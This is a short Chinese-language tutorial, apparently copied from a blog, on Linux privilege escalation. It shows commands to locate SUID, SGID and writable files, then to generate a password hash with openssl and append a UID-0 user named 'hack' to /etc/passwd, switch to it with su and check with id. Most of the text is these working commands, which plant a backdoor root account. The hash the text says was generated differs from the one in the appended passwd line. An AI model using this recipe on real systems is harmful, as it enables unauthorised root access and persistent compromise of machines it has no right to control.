(1) 查找对应文件
命令查找匹配的SUID文件:
find / -perm /4000 2>/dev/null
命令查找匹配的SGID文件:
♾️ abap 代码:find / -perm /2000 2>/dev/null 2000
SUID 用于在执行可执行文件时将执行用户的权限提升到文件所有者的权限。
SGID 用于在执行可执行文件时将执行用户的权限提升到文件所属组的权限。
命令查找可写入文件:
♾️ abap 代码:find / -writable 2>/dev/null | grep -v proc
-writable: 写入。
2>/dev/null :把错误信息重定向到/dev/null,就是不显示在终端上。
grep -v proc: 对前一个命令的输出进行过滤,只显示不包含字符串 "proc" 的行。
(2)编写和root用户一样的命令。
既然有写入权限 可以 openssl 生成密码,然后编辑 /etc/passwd。
生成密码命令:
openssl passwd -1 123456
1代表一种加密方式
把生成出来的密码: $1$wXZo/QFA$tJqkfKyhpCbDiPvfnHPFP0
添加到/etc/passwd末端。
hack:$1$Nu2rm2O8$GpQ5CebG16r7RbLNmFQdO/:0:0:root:/root:/bin/bash
(3)切换用户
♾️ abap 代码:su hack
(4)验证
♾️ abap 代码:id
("x" 表示此用户设有密码,但不是真正的密码,真正的密码保存在 /etc/shadow 文件中
允许登入的shell就是/bin/bash禁止shell登入就是/sbin/nologin)